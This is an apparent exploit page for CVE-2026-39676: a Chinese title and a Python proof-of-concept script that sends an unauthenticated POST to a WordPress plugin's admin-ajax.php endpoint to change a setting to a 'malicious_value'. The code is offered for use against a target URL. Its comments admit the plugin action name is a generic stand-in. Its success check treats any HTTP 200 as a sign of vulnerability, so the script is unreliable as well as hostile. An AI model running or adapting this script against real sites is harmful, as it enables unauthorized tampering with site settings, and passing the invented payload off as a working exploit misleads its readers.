CVE-2026-39676 Download Manager缺失授权漏洞

import requests # Exploit Title: Shahjada Download Manager < 3.3.52 - Missing Authorization PoC # Date: 2026-04-08 # Vulnerable Software: Download Manager # Vendor: Shahjada # Version: <= 3.3.52 # CVE: CVE-2026-39676 def check_vulnerability(target_url): """ This script attempts to exploit the missing authorization vulnerability. Attackers can perform actions intended for administrators without authentication. """ # Common endpoint for WP plugins, actual endpoint may vary based on plugin internals # This is a representative example assuming a generic vulnerable action endpoint = "/wp-admin/admin-ajax.php" # Payload representing an unauthorized action (e.g., changing settings) payload = { "action": "dm_download_manager_unauthorized_action", "setting_key": "some_sensitive_config", "setting_value": "malicious_value" } try: response = requests.post(target_url + endpoint, data=payload, timeout=10) # Check if the action was successful (HTTP 200 OK usually indicates success in these cases) if response.status_code == 200: print(f"[+] Target {target_url} appears to be vulnerable.") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Target {target_url} does not appear vulnerable or endpoint changed.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {target_url}: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)